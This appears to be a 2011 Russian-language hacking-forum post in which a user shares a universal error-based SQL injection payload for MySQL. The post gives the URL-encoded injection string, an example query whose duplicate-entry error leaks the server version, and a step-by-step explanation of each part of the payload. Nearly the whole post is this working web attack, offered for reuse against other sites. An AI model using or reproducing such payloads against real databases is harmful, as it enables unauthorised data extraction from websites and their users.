Показать сообщение отдельно
Старый 27.03.2011, 16:47   #20
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Самый извращенский и универсальный запрос, который у меня получился
Подходит для всех версий MySQL.

Код:
(@:=1)||@+group+by+concat(@@version,!@)having@||min(@:=0)--+
Пример:
Код:
select column from table where a=(@:=1)||@ group by concat(@@version,!@)having@||min(@:=0);
ERROR 1062 (23000): Duplicate entry '5.1.40-community1' for key 'group_key'


Если рассмотреть подробнее
Код:
(@:=1)||@ group by concat(@@version,!@)having@||min(@:=0)
Инициализация переменной без названия

(@:=1)||@ group by concat(@@version,!@)having@||min(@:=0)
Условие "or 1", чтобы запрос вернул больше 1 записи

(@:=1)||@ group by concat(@@version,!@)having@||min(@:=0)
Строка, которую мы хотим протащить через ошибку

(@:=1)||@ group by concat(@@version,!@)having@||min(@:=0)
выражение "not @", которое необходимо для того, чтобы group by при каждом обращении отдавал разный результат

(@:=1)||@ group by concat(@@version,!@)having@||min(@:=0)
Использование having для возможности поставить агрегатную функцию без использования подзапросов

(@:=1)||@ group by concat(@@version,!@)having@||min(@:=0)
Условие "or 1" в having (особенность вызова ошибки на MySQL 3 версии)

(@:=1)||@ group by concat(@@version,!@)having@||min(@:=0)
Переопределение переменной без названия
Единственная проблема - не работает, если в таблице, из которой делается выборка в главном запросе, всего 1 запись.
Обойти это можно, но запрос получается некрасивый, нужно подумать на эту тему еще.


PS: более универсальная версия запроса на следущей странице темы
https://rdot.org/forum/showthread.php?t=245&page=3

Последний раз редактировалось BlackFan; 09.04.2011 в 18:24..
BlackFan вне форума   Ответить с цитированием